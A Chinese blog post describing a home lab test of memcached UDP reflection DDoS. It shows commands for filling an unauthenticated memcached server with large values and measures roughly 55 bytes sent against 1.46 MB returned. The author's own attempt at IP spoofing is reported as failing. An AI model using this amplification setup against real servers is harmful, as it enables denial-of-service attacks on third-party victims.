简单实践传说中的2T/S的DRDoS

说一下DRDos

我们知道Dos是拒绝服务攻击,DDos是分布式的,那么这个R是反射的意思,DNS放大的拒绝服务就是这种,这次我们实践的是memcache的DRDos,当然我们只是看看发送和返回的差异

这个实验基于:

  1. memcache无认证(有认证基本没戏啊)
  2. udp的源ip可伪造性

测试环境

一个装了memcache的vps

1
apt install memcached

启动服务(其实默认端口是11211,我用11111吧)

1
memcached -p 11111 -m 64m -vv -u memcache

一个用于测试的vps,安装memcache python模块

1
pip install python-memcached

实验

1
2
3
4
5
6
7
8
9
10
11
12
13
14
>>> import memcache
>>> mc = memcache.Client(['127.0.0.1:xxxx'],debug=True)
>>> mc.add('giantbranch',"giantbranch"*1000)
True
>>> mc.add('giant1',"giantbranch"*10000)
True
>>> mc.add('giant2',"giantbranch"*20000)
True
>>> mc.add('giant3',"giantbranch"*50000)
True
>>> mc.add('giant4',"giantbranch"*90000)
True
>>> mc.set('giantbranch', "giantbranch",9999999)
True

真正的实验来了

可以看到我们发送55个字节,收到1459480字节

这一个服务就那么厉害,如果更多就不得了

当然得不用认证的才能这么大威力了

自己写的scapy伪造ip的测试问题,不知道为啥目标服务器没收到数据包

references

Deluge – How to generate 2TB per seconds reflection DDoS data flow via a family network

附录

记录下实际的memcache的命令吧

mc.add(‘giant1’,”giantbranch”*10000)

实际服务器执行如下,成功返回STORED

1
2
<31 add giant1 0 0 110000 
>31 STORED

mc.set(‘giantbranch’, “giantbranch”,9999999)

1
2
<31 set giantbranch 0 9999999 11 
>31 STORED
打赏专区